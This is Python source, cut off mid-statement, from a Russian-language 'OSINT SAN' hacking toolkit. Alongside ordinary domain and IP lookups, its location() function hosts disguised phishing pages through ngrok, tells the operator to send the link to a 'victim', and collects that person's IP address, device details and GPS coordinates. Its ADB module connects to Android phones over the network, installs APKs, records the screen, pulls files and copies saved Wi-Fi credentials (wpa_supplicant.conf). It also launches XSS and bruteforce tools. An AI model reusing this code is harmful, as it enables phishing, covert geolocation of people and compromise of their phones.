def domain(host, port): if check_target(host, port): show_banner(clear=True) print("\n Выберите опцию") menu(host, port) else: print("The Host is Unreachable \n")
def menu(host, port): while True: print() print(f"{G} [{R} 1 {G}]{C} ReverseIP, SubDomain {C}") print(f"{G} [{R} 2 {G}]{C} В разработке {C}") print(f"{G} [{R} 3 {G}]{C} NsLookup {C}") print(f"{G} [{R} 4 {G}]{C} CMS Detect {C}") print(f"{G} [{R} 5 {G}]{C} Port Scan {C}") print(f"{G} [{R} 6 {G}]{C} Bruteforce {C}") print(f"{G} [{R} 7 {G}]{C} ClickJacking {C}") print(f"{G} [{R} 8 {G}]{C} CORS {C}") print(f"{G} [{R} 9 {G}]{C} Host Header Injection {C}") print(f"{G} [{R} 10 {G}]{C} Header {C}") print(f"{G} [{R} 11 {G}]{C} Crawler {C}") print(f"{G} [{R} 99 {G}]{C} Exit") print() try: selection = int( input(f"{C} └──> Выберите опцию {G}[ {R}main_menu{G} ]{G} :")) except KeyboardInterrupt: return if 0 <= selection <= 12: os.system("clear") run_command = option_to_function[selection] run_command(host, port) elif selection == 99: return show_banner(clear=True) else: print("Ошибка: выберите подходящий вариант") print()
def _main(): show_banner(clear=True) print(PAGE) option = input( f"{COLORS.REDL} └──>{COLORS.ENDL} Выберите опцию : {COLORS.ENDL} ") while True: if option == "99": print( f"\n{COLORS.GNSL}[ {COLORS.REDL}+{COLORS.GNSL} ]{COLORS.WHSL} Выполняем обратный переход.\n" ) menu() break elif int(option) in range(1, 45): print( f"{COLORS.GNSL}[ {COLORS.REDL}+{COLORS.GNSL} ]{COLORS.WHSL} Переход...{COLORS.ENDL}" ) return elif option == "66": print( f"{COLORS.GNSL}[ {COLORS.REDL}+{COLORS.GNSL} ]{COLORS.WHSL} Переход...{COLORS.ENDL}" ) show_banner(clear=True) _main() return else: from core import repl_huepl _main()
def driver(option): import webbrowser import os if option == '1': os.system('sudo apt install libcurl4-gnutls-dev librtmp-dev') os.system('sudo apt-get install libcurl4-gnutls-dev librtmp-dev') os.system('pip3 install setuptools') os.system('pip3 install pycurl') os.system('pip3 install grab') print(' \n Установка прошла успешно\n') elif option == '2': os.system( 'wget https://github.com/mozilla/geckodriver/releases/download/v0.30.0/geckodriver-v0.30.0-linux64.tar.gz' ) os.system('sudo tar -xvzf geckodriver-v0.30.0-linux64.tar.gz') os.system('sudo chmod +x /usr/local/bin/geckodriver') os.system('sudo mv geckodriver /usr/local/bin/geckodriver') os.system('sudo chown root:root /usr/local/bin/geckodriver') elif option == '3': os.system('sudo pip3 install -r requirements.txt') print(' \n Установка прошла успешно\n') elif option == '4': print(f' Установка и проверка зависимостей') subprocess.call( f'sudo apt-get install android-tools-adb android-tools-fastboot', shell=True) elif option == '5': urls = [ "https://t.me/satana666mx", ] for url in urls: webbrowser.open(url) print(f"\n Сайты открыты") elif option == '6': page_2 = f''' Друг я пока еще не проработал эту функцию в автомат Перейди по ссылкам там гайд https://tecadmin.net/setup-selenium-with-chromedriver-on-debian/ https://bytetell.com/123/ https://losst.ru/ustanovka-selenium-v-linux ''' print(page_2) elif option == '7': os.system('sudo apt remove fonts-noto-color-emoji') os.system('sudo apt install fonts-noto-color-emoji') print(' Успешно') elif option == '99': show_banner(clear=True)
def password_menu(): os.system("printf '\033]2;OSINT 3.5\a'") show_banner(clear=True) print(page_1) while True: option = input(f"{REDL} └──>{ENDL} Введите 99 для выхода : {ENDL} ") if option == '99': print() print( " {1} [{0} + {1}]{2} Спасибо за использование нашего Exploit.". format(REDL, GNSL, WHSL)) return
def main(): os.system("printf '\033]2; OSINT SAN 3.5 \a'") os.system('clear') show_preload_banner() hardcoded_username = "******" hardcoded_password = "******" while True: username = input(f"{R}\n └──> {G} Введите ваш ник{R}:{B} ") print() if not username == hardcoded_username: print( " Username не найден в базе !!! Тааак ты что приложение спиздил ?" ) print(" Слышь кибер уебок, ") for i in range(6, -1, -1): print(f'\r До отправки логов в Отдел К {i}', end='...') time.sleep(1) else: break for i in range(1, 6): password = getpass.getpass( f"{R} └──> {B} Введите ваш ключ доступа{R}:{B} ") if password == hardcoded_password: print(f"{R} Вы успешно вошли в аккаунт") print(f"{R} подождите 3 секунды до запуска .....") print(f"{G} Ты красавчик") show_banner(clear=True) break else: print("На 5 попытку я отправлю твои логи в общий доступ на github," " и отформатирую системный диск") print(f"{i} Попытка...") else: print( "Ну все, твои логи отправлены в github, отформатирование системного " "диска начнется через 5 минут...") repl_prompt.repl() os.system('clear') return
def search_through_instagram(): while True: try: print() user_name = input( f"{REDL} └──>{WHSL} Жду от тебя ввод username instagram {GNSL}[ {REDL}main_menu{GNSL} ]{ENDL}:" ) print() input( f"{GNSL} [ {REDL}Напоминание{GNSL} ]{WHSL} Если захочешь выйти, введи 99. Нажми enter что бы продолжить{ENDL}:" ) if user_name == '99': show_banner(clear=True) return elif user_name == '': print(' [ - ] некоректный ввод username') else: api.user_info(user_name) except KeyboardInterrupt: print('\nпока!') break
def location(): print(page_23) try: input_loc = input(f"{COLORS.REDL} └──> {COLORS.WHSL} Введите номер опции: {COLORS.GNSL}") if input_loc == "1": temp = "nearyou" elif input_loc == "2": temp = "weather" elif input_loc == "3": temp = "hotel" elif input_loc == "4": temp = "air" elif input_loc == "5": temp = "youtube" elif input_loc == "6": temp = "postman" elif input_loc == "7": temp = "telegram" elif input_loc == "8": temp = "prostitynder" elif input_loc == "9": temp = "jobs" elif input_loc == "10": temp = "bitcoin" elif input_loc == "11": temp = "bloger" elif input_loc == "12": temp = "coder" elif input_loc == "13": temp = "data" elif input_loc == "14": temp = "photo" elif input_loc == "15": temp = "ngrok" elif input_loc == "16": temp = "tynder" elif input_loc == "17": temp = "flirt" elif input_loc == "18": temp = "tyrizm" elif input_loc == "19": temp = "restoran" elif input_loc == "20": temp = "taiga_game" elif input_loc == "21": temp = "friend" elif input_loc == "22": temp = "exchange" elif input_loc == "23": temp = "sharing" elif input_loc == "24": temp = "amigos" elif input_loc == "99": show_banner(clear=True) return else: print(f'\n{COLORS.REDL} Неверный ввод номера опции ...') time.sleep(2) show_banner(clear=True) return except: print("") return result_file = open("module/db/getloc/" + temp + "/result.json", "w") result_file.write("") result_file.close() # --------------------------------------------------------------- info_file = open("module/db/getloc/" + temp + "/info.json", "w") info_file.write("") info_file.close() # --------------------------------------------------------------- def deafult_server(): try: with open("module/db/location_log.log", "w") as deafult: Popen(('php', '-S', 'localhost:8767', '-t', 'module/db/getloc/' + temp), stdout=deafult, stderr=deafult) # Block until CTRL-C or some other terminating event a = ngrok.connect(8767, "http", auth_token=ngrok.set_auth_token) print(f' {COLORS.REDL}----------------------------------------------------------------------------------\n') print( f' {COLORS.OKNL}Функция ловли долбаебов переходящих по ссылкам запущена, выбранный сайт активирован.\n') print(f"{COLORS.OKNL}" + str(a).replace('"', '').replace("NgrokTunnel:", "").replace("http://", "https://")) print(f"\n {COLORS.REDL}Отправте ссылку жертве ...") except KeyboardInterrupt: print(" Shutting down server.") ngrok.kill() return deafult_server() # Collect events until released def info(): global stat_file_ip if not str(os.stat('module/db/getloc/' + temp + '/info.json').st_size) == stat_file_ip: stat_file_ip = str(os.stat('module/db/getloc/' + temp + '/info.json').st_size) file_ip = open('module/db/getloc/' + temp + '/info.json', "r") i = file_ip.read() try: infor = json.loads(i) for value in infor['dev']: print(f' {COLORS.REDL}Жертва попалась \n') print(f" {COLORS.WHSL}IP address жертвы :{COLORS.GNSL} " + value['Os-Ip']) print(f" {COLORS.WHSL}Операционная система :{COLORS.GNSL} " + value['Os-Name']) print(f" {COLORS.WHSL}Версия системы :{COLORS.GNSL} " + value['Os-Version']) print(f" {COLORS.WHSL}Количество ядер :{COLORS.GNSL} " + value['CPU-Core']) print(f" {COLORS.WHSL}Название браузера :{COLORS.GNSL} " + value['Browser-Name']) print(f" {COLORS.WHSL}Версия Браузера :{COLORS.GNSL} " + value['Browser-Version']) print(f" {COLORS.WHSL}Архитектура ЦП :{COLORS.GNSL} " + value['CPU-Architecture']) print(f" {COLORS.WHSL}Разрешение экрана :{COLORS.GNSL} " + value['Resolution']) print(f" {COLORS.WHSL}Временная зона :{COLORS.GNSL} " + value['Time-Zone']) print(f" {COLORS.WHSL}Язык системы :{COLORS.GNSL} " + value['Language']) file_recv = open("module/db/getloc/" + temp + "/info.json", "w") print(f'\n {COLORS.REDL}Отлично, теперь ждем когда цель нажмет на любую кнопку на сайте\n') file_recv.write("") file_recv.close() except: print("") def recv_loc(): global stat_file_ip if not str(os.stat('module/db/getloc/' + temp + '/result.json').st_size) == stat_file_ip: stat_file_ip = str(os.stat('module/db/getloc/' + temp + '/result.json').st_size) file_ip = open('module/db/getloc/' + temp + '/result.json', "r") i = file_ip.read() try: infor = json.loads(i) for value in infor['info']: print( f"\n{COLORS.WHSL} Координаты цели:{COLORS.GNSL} " f"Широта - {value['lat']} Долгота - {value['lon']}") print(f"\n https://www.google.com/maps/place/{value['lat']}+{value['lon']}") webbrowser.open(f"https://www.google.com/maps/place/{value['lat']}+{value['lon']}") webbrowser.open(f"https://earth.google.com/web/search/{value['lat']}+{value['lon']}") print(f"\n {COLORS.FIOL}Сайты с геолокацией открыты") file_recv = open("module/db/getloc/" + temp + "/result.json", "w") file_recv.write("") file_recv.close() except: print("") while True: info() recv_loc()
def run(): try: print(menu) choice = input( f"{COLORS.REDL} └──>{COLORS.GNSL} Выберите опцию {COLORS.GNSL}[ {COLORS.REDL}main_menu{COLORS.GNSL} ]{COLORS.GNSL}: " ) if choice == '1': show_banner(clear=True) from module.info_ip import dnsdumpster domain = input( f'{COLORS.REDL} └──>{COLORS.WHSL} Введите домен для поиска информации:{COLORS.GNSL} ' ) dnsdumpster(domain) elif choice == '2': from urllib.parse import urlparse show_banner(clear=True) print(f'\n Пример ввода ссылки: http://google.com \n') target = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) print('\n [ + ] Headers :\n') response = requests.get(target, verify=True, timeout=10) for k, v in response.headers.items(): print(f' [ + ] {k} : {v}') run() elif choice == '3': show_banner(clear=True) dnslookup = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) print('\n') dnslookup = 'https://api.hackertarget.com/dnslookup/?q=' + dnslookup info = requests.get(dnslookup) print(info.text) print(info.text) run() elif choice == '4': show_banner(clear=True) revers = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) reversedns = 'https://api.hackertarget.com/reversedns/?q=' + revers info = requests.get(reversedns) print(info.text) run() elif choice == '5': from grab import Grab from selenium.webdriver import Firefox from selenium.webdriver.firefox.options import Options opts = Options() opts.headless = True br = Firefox(options=opts) show_banner(clear=True) print( f' {COLORS.WHSL}Примеры ввода запроса: {COLORS.GNSL}google.com, pornohub.com, ruvds.com \n' ) inp = input( f'{COLORS.REDL} ──> {COLORS.GNSL}Введите domain: {COLORS.WHSL}' ) print( f"\n {COLORS.GNSL}Ожидайте пока закончится сбор информации.{COLORS.WHSL} \n" ) br.get(f'https://viewdns.info/reversewhois/?q={inp}') try: all_list = br.find_elements_by_xpath( '/html/body/font/table[2]/tbody/tr[3]/td/font/table/tbody/tr' ) if not all_list: br.quit() print(f' Ничего не найдено по вашему запросу') else: for elem in all_list: domain, date, registrar = elem.find_elements_by_xpath( 'td') print( f' {domain.text}\t\t{date.text}\t\t{registrar.text}' ) print(f" {COLORS.REDL}={COLORS.WHSL}" * 70) print() br.quit() except: br.quit() elif choice == '6': show_banner(clear=True) print(f'\n Пример ввода ссылки: google.com \n') target = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) print('\n') request_urls = "https://api.hackertarget.com/findshareddns/?q=" request_url = request_urls url = request_url + target request = requests.get(url) print(request.text) run() elif choice == '7': show_banner(clear=True) print(f'\n Пример ввода ссылки: google.com, vsechastikino.ru \n') target = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) print('\n') request_urls = "https://api.hackertarget.com/zonetransfer/?q=" request_url = request_urls url = request_url + target request = requests.get(url) print(request.text) run() elif choice == '8': import whois print(' Пример ввода: google.com \n') data = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите доменное имя: " ) test = whois.whois(data) show_banner(clear=True) print(test) elif choice == '9': show_banner(clear=True) print(f'\n Пример ввода ссылки: google.com \n') target = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) print('\n') request_urls = "https://api.hackertarget.com/geoip/?q=" request_url = request_urls url = request_url + target request = requests.get(url) print(request.text) run() elif choice == '10': show_banner(clear=True) print(f'\n Пример ввода ссылки: google.com \n') target = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) print('\n') request_urls = "https://api.hackertarget.com/reverseiplookup/?q=" request_url = request_urls url = request_url + target request = requests.get(url) print(request.text) run() elif choice == '11': show_banner(clear=True) print(f'\n Пример ввода ссылки: http://google.com \n') target = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) print('\n') request_urls = "https://api.hackertarget.com/nmap/?q=" request_url = request_urls url = request_url + target request = requests.get(url) print(request.text) run() elif choice == '12': show_banner(clear=True) print(f'\n Пример ввода ссылки: http://google.com \n') target = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) print('\n') request_urls = "https://api.hackertarget.com/subnetcalc/?q=" request_url = request_urls url = request_url + target request = requests.get(url) print(request.text) run() elif choice == '13': show_banner(clear=True) print(f'\n Пример ввода ссылки: http://google.com \n') target = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) print('\n') request_urls = "https://api.hackertarget.com/httpheaders/?q=" request_url = request_urls url = request_url + target request = requests.get(url) print(request.text) run() elif choice == '14': show_banner(clear=True) print(f'\n Пример ввода ссылки: http://google.com \n') target = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) print('\n') request_urls = "https://api.hackertarget.com/pagelinks/?q=" request_url = request_urls url = request_url + target request = requests.get(url) print(request.text) run() elif choice == '15': show_banner(clear=True) host = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) print( f'\n{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Получение субдоменов цели...\n' ) if not virustotal_api: print( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Проблемы с ключом api, напишите разработчикам !" ) return url = 'https://www.virustotal.com/vtapi/v2/domain/report' params = { 'apikey': virustotal_api, 'domain': host, } response = requests.get(url, params=params) subdomains = response.json() for x in subdomains['subdomains']: print(x) run() elif choice == '16': requests.packages.urllib3.disable_warnings() show_banner(clear=True) domain = input( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Введите address: " ) if not cms_detect_api: print( f"{COLORS.GNSL} [ {COLORS.REDL}+{COLORS.GNSL} ] {COLORS.WHSL} Проблемы с ключом api, напишите разработчикам !" ) return payload = {'key': cms_detect_api, 'url': domain} cms_url = "https://whatcms.org/APIEndpoint/Detect" response = requests.get(cms_url, params=payload) cms_data = response.json() cms_info = cms_data['result'] if cms_info['code'] == 200: print(f' Detected CMS : {cms_info["name"]}') print(f' Detected Version : {cms_info["version"]}') print(f' Confidence : {cms_info["confidence"]}') else: print(cms_info['msg']) print(f' Detected CMS : {cms_info["name"]}') print(f' Detected Version : {cms_info["version"]}') run() elif choice == '0': import os print( f' {COLORS.GNSL}Благодарим вас за использование !!! Вы прекрасны.\n' ) os.system('pkill -9 -f osintsan.py') exit() elif choice == '99': show_banner(clear=True) return except KeyboardInterrupt: print("\nAborted!") exit()
def repl(): # Read\xe2\x80\x93eval\xe2\x80\x93print loop while True: print(menu()) choice = None while True: try: user_input = input(f"{COLORS.GNSL} └──> Выберите опцию : {COLORS.ENDL}") print() except KeyboardInterrupt: return if len(user_input) == 0: break try: choice = int(user_input) except ValueError: print(f"{COLORS.REDL}Неверный ввод!{COLORS.ENDL}") else: break if choice is None: continue if choice == 1: from plugins.shodan_io import shodan_host, check_shodan_api from plugins.censys import censys_ip if not check_shodan_api(): show_banner(clear=True) print(f"{COLORS.REDL}API ключ Shodan'а невалиден! (settings.py){COLORS.REDL}") else: print() ip = input(" └──> Введите IP адрес : ") show_banner(clear=True) shodan_host(ip) censys_ip(ip) elif choice == 2: from plugins.domain import domain host = input(" └──> Введите доменное имя : ") port = "" while True: try: print() port = input(" └──> Нажмите enter, или напишите свой варианта порта : ") port = int(port) except ValueError: if port == "": port = 80 else: continue if port not in [80, 443]: print(" Неверный порт ") continue else: break try: domain(host, port) finally: show_banner(clear=True) elif choice == 3: from plugins.Phonenumber import phone_number, check_phone_api_token if not check_phone_api_token(): show_banner(clear=True) print(f"{COLORS.REDL}phone api невалиден! (settings.py){COLORS.REDL}") else: ph = input(" └──> Введи мобильный номер телефона с +7... : ") show_banner(clear=True) phone_number(ph) elif choice == 4: from plugins.dnsdump import dnsmap print("\n Работает только с (.com .ru)\n") dnsmap_inp = input(" └──> Введите url : ") show_banner(clear=True) dnsmap(dnsmap_inp) elif choice == 5: from plugins.metadata import gps_analyzer print("\n Пример пути: /home/bafomet/Desktop/deanon.png\n") img_path = input(" └──> Укажите путь до фотографии :") show_banner(clear=True) gps_analyzer(img_path) elif choice == 6: from plugins.reverseimagesearch import reverseimagesearch print("\n Пример пути: /home/bafomet/Desktop/deanon.png\n") img = input(" └──> Укажите путь до фотографии :") show_banner(clear=True) reverseimagesearch(img) elif choice == 7: from plugins.shodan_io import check_shodan_api from plugins.honeypot import honeypot if not check_shodan_api(): show_banner(clear=True) print(f"{COLORS.REDL}`shodan_api` не валиден, поправь в settings.py токен!{COLORS.REDL}") else: print() hp_inp = input(" └──> Введите IP адрес : ") show_banner(clear=True) honeypot(hp_inp) elif choice == 8: from plugins.macaddress import MacAddressLookup print() mac = input(" └──> Ожидаю ввод MAC адреса :") show_banner(clear=True) MacAddressLookup(mac) elif choice == 9: from module.gui import run_gui run_gui() show_banner(clear=True) elif choice == 10: from plugins.torrent import torrent ip_ = input(" └──> Введите IP адрес :") show_banner(clear=True) torrent(ip_) elif choice == 11: from module.instagram_search import search_through_instagram search_through_instagram() show_banner(clear=True) elif choice == 12: from module.subzone import subzone subzone() show_banner(clear=True) elif choice == 13: while 1: print("") print(" Пример :google.com") print("") web = prompt(" └──> Введи домен организации :") show_banner(clear=True) break maildb(web) continue elif choice == 14: from module import startadb startadb.main() show_banner(clear=True) elif choice == 15: while 1: os.system("cd plugins/Brother;sudo python3 dlc.py -t manual -k start") show_banner(clear=True) break continue elif choice == 16: subprocess.call("cd module;python3 hynder.py", shell=True) show_banner(clear=True) elif choice == 17: subprocess.call("sudo etherape", shell=True) show_banner(clear=True) elif choice == 18: print() print(" Проверка всех модулей") t.sleep(6) os.system("cd core;mpg123 01.mp3") show_banner(clear=True) elif choice == 19: os.system("cd plugins/Brother;sudo python3 dlc2.py -t manual -k start") show_banner(clear=True) elif choice == 20: urls = [ "https://search4faces.com", "https://findclone.ru", "https://images.google.com", "https://yandex.ru/images", "https://tineye.com", "https://pimeyes.com/en", "https://carnet.ai", ] for url in urls: webbrowser.open(url) show_banner(clear=True) elif choice == 21: from module.Information_services import information_menu information_menu() show_banner(clear=True) elif choice == 22: webbrowser.open("https://canarytokens.org") show_banner(clear=True) elif choice == 23: urls = [ "https://protonmail.com/ru", "https://tutanota.com/ru/blog/posts/anonymous-email", ] for url in urls: webbrowser.open(url) show_banner(clear=True) elif choice == 24: from module.password_menu import password_menu password_menu() show_banner(clear=True) elif choice == 25: os.system("cd plugins/xss;python2 xss.py") elif choice == 26: from module.bx54 import bx_menu bx_menu() show_banner(clear=True) elif choice == 27: os.system("git clone https://github.com/Bafomet666/osint-info") show_banner(clear=True) elif choice == 28: subprocess.call("sudo maltego", shell=True) show_banner(clear=True) elif choice == 29: while 1: os.system("cd module;python3 zoom.py") show_banner(clear=True) break continue elif choice == 30: from module.deanon_main import deanon_menu deanon_menu() show_banner(clear=True) elif choice == 31: webbrowser.open("https://canarytokens.org") show_banner(clear=True) elif choice == 32: pass elif choice == 33: from module.whoyous import whois_menu whois_menu() show_banner(clear=True) elif choice == 34: pass elif choice == 35: pass elif choice == 36: pass elif choice == 37: pass elif choice == 38: pass elif choice == 39: pass elif choice == 40: pass elif choice == 41: pass elif choice == 42: pass elif choice == 43: pass elif choice == 65: webbrowser.open("https://t.me/satana666mx") show_banner(clear=True) elif choice == 45: pass elif choice == 75: show_banner(clear=True) elif choice == 99: os.system("python3 osintsan.py") return elif choice == 88: from core.repl_huepl import main main() show_banner(clear=True) elif choice == 00: return else: os.system("clear") print(f"{COLORS.REDL} Опции такой нет, дурак!{COLORS.ENDL}")
def android_debug(): os.system("printf '\033]2;OSINT SAN 3.5\a'") print() print("{1} [ {0}+{1} ]{2} Запуск ADB сервера...".format(REDL, GNSL, WHSL)) print() print("{1} [ {0}+{1} ]{2} Подождите 5 секунд.".format(REDL, GNSL, WHSL)) print() subprocess.call("adb tcpip 5555 >> /dev/null", shell=True) show_banner(clear=True) print(page_1) device_name = None while True: try: option = input( f"{REDL} └──>{ENDL} Android Debug Bridge {GNSL}[{REDL} main_menu {GNSL}]{ENDL}:" ) except KeyboardInterrupt: return if option == '1': if not device_name: subprocess.call("adb devices -l", shell=True) else: subprocess.call("adb devices -l", shell=True) elif option == '2': if not device_name: print( "{1} [{0} + {1}]{2} Нет подключенных устройств к серверу.\n" .format(REDL, GNSL, WHSL)) else: subprocess.call("adb disconnect", shell=True) elif option == '3': print("\n {1}[{0} + {1}]{2} Введите IP address.\n".format( REDL, GNSL, WHSL)) try: device_name = input( f"{arrow} Android Debug Bridge {GNSL}[{REDL} connect_device {GNSL}]{ENDL}:" ) except KeyboardInterrupt: continue if device_name == '': continue if device_name == '27': continue subprocess.call(f"adb connect {device_name}:5555", shell=True) elif option == '4': if not device_name: print("{1} [{0} + {1}]{2} Нет подключенных устройств.".format( REDL, GNSL, WHSL)) else: subprocess.call(f"adb -s {device_name} shell", shell=True) elif option == '5': if not device_name: print("{1}[{0}+{1}]{2} Нет подключенных устройств.".format( REDL, GNSL, WHSL)) else: print(f" {connect}") print( " {1}[{0} + {1}]{2} Введите локацию apk. Пример /home/salita/Desktop/test.apk.\n" .format(REDL, GNSL, WHSL)) apk_location = input( f" {arrow} Android Debug Bridge{GNSL}[{REDL} apk_install {GNSL}]{ENDL}:" ) subprocess.call("adb -s " + device_name + " install " + apk_location, shell=True) print(f" {GNSL}Apk был установлен.") elif option == '6': if not device_name: print("{1}[{0}+{1}]{2} Нет подключенных устройств.".format( REDL, GNSL, WHSL)) else: print(f" {connect}") print(" {1}[{0} + {1}]{2} Запись видео началась.".format( REDL, GNSL, WHSL)) print(f" {connect}") print( " {2}Нажми{1} ctrl+c{2} для остановки записи.\n".format( REDL, GNSL, WHSL)) os.system( f"adb -s {device_name} shell screenrecord /sdcard/screen.mp4" ) print( " {1}[{0} + {1}]{2} Укажите, где вы хотите сохранить видео.\n" .format(REDL, GNSL, WHSL)) print(" {2} Пример:{1} /home/apashe/sc.mp4\n".format( REDL, GNSL, WHSL)) place_location = input( f" {arrow} Android Debug Bridge {GNSL}[{REDL}screen_record{GNSL}]{ENDL}:" ) os.system( f"adb -s {device_name} pull /sdcard/screen.mp4 {place_location}" ) print(" {0} Видео {2}успешно загружено.".format( REDL, GNSL, WHSL)) t.sleep(4) show_banner(clear=True) print(page_1) elif option == '7': if not device_name: print("{1}[{0}+{1}]{2} Нет подключенных устройств.".format( REDL, GNSL, WHSL)) else: os.system( f"adb -s {device_name} shell screencap /sdcard/screen.png") print(f" {connect}") print( " {1}[{0} + {1}]{2} Введите, где вы хотите сохранить снимок экрана.\n" .format(REDL, GNSL, WHSL)) print(" {1}Пример:{0} /home/apashe/screen.png\n".format( REDL, GNSL, WHSL)) place_location = input( f" {arrow} Android Debug Bridge {GNSL}[{REDL} screenshot {GNSL}]{ENDL}:" ) os.system( f"adb -s {device_name} pull /sdcard/screen.png {place_location}" ) print(" {0} Скриншот {2}успешно загружен.".format( REDL, GNSL, WHSL)) t.sleep(4) show_banner(clear=True) print(page_1) elif option == '8': print("") print("{1} [{0} + {1}]{2} Перезапуск сервера ADB...{3}\n".format( REDL, GNSL, WHSL, ENDL)) os.system("adb disconnect >> /dev/null") os.system("adb kill-server >> /dev/null") os.system("adb start-server >> /dev/null") print(" {0} Сервер успешно перезагружен".format( REDL, GNSL, WHSL, ENDL)) t.sleep(4) show_banner(clear=True) print(page_1) elif option == '9': if not device_name: print("{1}[{0}+{1}]{2} Устройства еще не подключены.".format( REDL, GNSL, WHSL)) else: print(f" {connect}") print( " {1}[{0} + {1}]{2} Введите местоположение файла на устройстве.\n" .format(REDL, GNSL, WHSL)) print( " {1}[{0} + {1}]{2} Пример:{0} /sdcard/DCIM/demo.mp4 \n". format(REDL, GNSL, WHSL)) file_location = input( f" {arrow} Android Debug Bridge {GNSL}[{REDL} file_pull {GNSL}]{ENDL}:" ) print(f" {connect}") print( " {1}[{0} + {1}]{2} Пример:{0} /home/apashe/Desktop\n" .format(REDL, GNSL, WHSL)) print( " {1}[{0} + {1}]{2} Введите, где вы хотите сохранить файл.\n" .format(REDL, GNSL, WHSL)) place_location = input( f" {arrow} Android Debug Bridge {GNSL}[{REDL} file_pull {GNSL}]{ENDL}:" ) os.system( f"adb -s {device_name} pull {file_location} {place_location}" ) print(page_1) elif option == '10': if not device_name: print("{1}[{0}+{1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) else: os.system(f"adb -s {device_name} reboot ") print( " {2}Устройство будет перезагруженно, ожидайте 1 минуту прежде чем вновь повторить подключение." .format(REDL, GNSL, WHSL)) t.sleep(4) show_banner(clear=True) print(page_1) elif option == '11': if not device_name: print("{1}[{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) else: print(f" {connect}") print(" {1}[{0} + {1}]{2} Введите название pack_name \n". format(REDL, GNSL, WHSL)) package_name = input( f" {arrow} Android Debug Bridge {GNSL}[{REDL} app_delete {GNSL}]{ENDL}:" ) os.system(f"adb -s {device_name} unistall {package_name}") elif option == '12': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) else: print("\n {2}Нажми{1} ctrl+c{2} для остановки.{0}\n".format( REDL, GNSL, WHSL)) t.sleep(4) os.system(f'adb -s {device_name} logcat ') elif option == '13': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) else: print("\n {2}Нажми{1} ctrl+c{2} для остановки.{0}\n".format( REDL, GNSL, WHSL)) t.sleep(4) os.system(f"adb -s {device_name} shell dumpsys") elif option == '14': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) os.system(f"adb -s {device_name} shell pm list packages -f") elif option == '15': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) print(f" {connect}") print( " {1}[{0} + {1}]{2} Введите название приложения.\n".format( REDL, GNSL, WHSL)) package_name = input( f" {arrow} Android Debug Bridge {GNSL}[{REDL} Запуск приложения {GNSL}]{ENDL}:" ) os.system(f"adb -s {device_name} shell monkey -p " + package_name + " -v 500") elif option == '16': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) else: print(f" {connect}") print(" {1}[{0} + {1}]{2} Введите порт на устройстве.\n". format(REDL, GNSL, WHSL)) port_device = input(" " + arrow + " Android Debug Bridge" + GNSL + "[" + REDL + " port_forward " + GNSL + "]" + ENDL + ":") print(f" {connect}") print(" {1}[{0} + {1}]{2} Введите порт для пересылки.\n". format(REDL, GNSL, WHSL)) forward_port = input(" " + arrow + " Android Debug Bridge " + GNSL + "[" + REDL + " port_forward " + GNSL + "]" + ENDL + ":") os.system(f"adb -s {device_name} forward tcp:" + port_device + " tcp:" + forward_port) elif option == '17': try: print(f" {connect}") print( " {1}[{0} + {1}]{2} Введите, где вы хотите сохранить файл.\n" .format(REDL, GNSL, WHSL)) location = input( f" {arrow} Android Debug Bridge {GNSL}[{REDL} wpa_grub {GNSL}]{ENDL}:" ) os.system( f"adb -s {device_name} shell su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'" ) os.system( f"adb -s {device_name} pull /sdcard/wpa_supplicant.conf {location}" ) except KeyboardInterrupt: if not device_name: print( "{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) elif option == '18': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) else: os.system(f"adb -s {device_name} shell ip address show wlan0") elif option == '19': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) print(f" {connect}") print(" {1}[{0} + {1}]{2} Введите название apk.\n".format( REDL, GNSL, WHSL)) package_name = input(" " + arrow + " Android Debug Bridge " + GNSL + "[" + REDL + " pull_apk " + GNSL + "]" + ENDL + ":") os.system(f"adb -s {device_name} shell pm path " + package_name) print(f" {connect}") print( " {1}[{0} + {1}]{2} Введите путь к apk на устойстве.\n". format(REDL, GNSL, WHSL)) path = input(" " + arrow + " Android Debug 